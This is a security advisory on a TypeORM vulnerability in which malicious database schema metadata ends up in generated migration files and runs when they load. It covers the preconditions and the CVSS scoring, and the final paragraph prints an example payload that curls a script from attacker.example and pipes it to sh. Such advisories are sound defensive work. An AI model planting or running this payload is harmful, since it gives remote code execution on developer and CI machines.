TypeORM CVE-2026-73651

Exploitation requires three conditions to coincide: (1) the attacker must have database schema write privileges sufficient to modify column COMMENTs, DEFAULT values, CHECK constraints, or view definitions on one of the affected drivers (PostgreSQL, MySQL, MariaDB, or CockroachDB); (2) a developer or automated pipeline must execute typeorm migration:generate against the compromised database; and (3) the resulting migration file must be loaded by Node.js via migration:run, import, or require. The CVSS PR:H metric confirms that elevated database privileges are required - default read-only or application-level credentials that cannot alter schema metadata are not sufficient. Exploitation is further limited by the UI:R metric: a human or automated actor must actively trigger migration generation. Environments where migration:generate is run only against development databases with tightly controlled schema write access are significantly less exposed than CI/CD pipelines that regenerate migrations against shared or production-mirrored schemas.

The NVD CVSS 3.1 vector (AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N) scoring 5.7 accurately reflects the multi-step, high-privilege prerequisites: an attacker must first obtain database schema write access (PR:H), a developer must then run migration:generate against the compromised schema (UI:R), and the generated file must be loaded (AC:H). Despite the C:H/I:H impact ratings, the compounding preconditions substantially limit realistic exploitation. No EPSS data was provided in the intelligence feed; the absence of a KEV listing and public POC independently supports a lower-urgency posture. That said, the impact when conditions align is severe - arbitrary code execution on a developer workstation or CI/CD runner - making this high-priority for teams where CI pipelines automatically generate and run migrations against shared or externally-accessible databases. There is no conflict between the CVSS vector and the description; the network attack vector reflects the attacker's ability to inject the payload remotely via database write access, while local execution occurs on the migration host.

An attacker with write access to the target database - obtained via a compromised application account, a misconfigured privilege, or a separate SQL injection - sets a column COMMENT to ${require('child_process').execSync('curl https://attacker.example/implant.sh|sh')}. When a developer or CI pipeline runs typeorm migration:generate against that database, the payload is embedded verbatim in the generated TypeScript migration file. On the next migration:run or module import, Node.js evaluates the template literal and executes the embedded shell command on the migration host.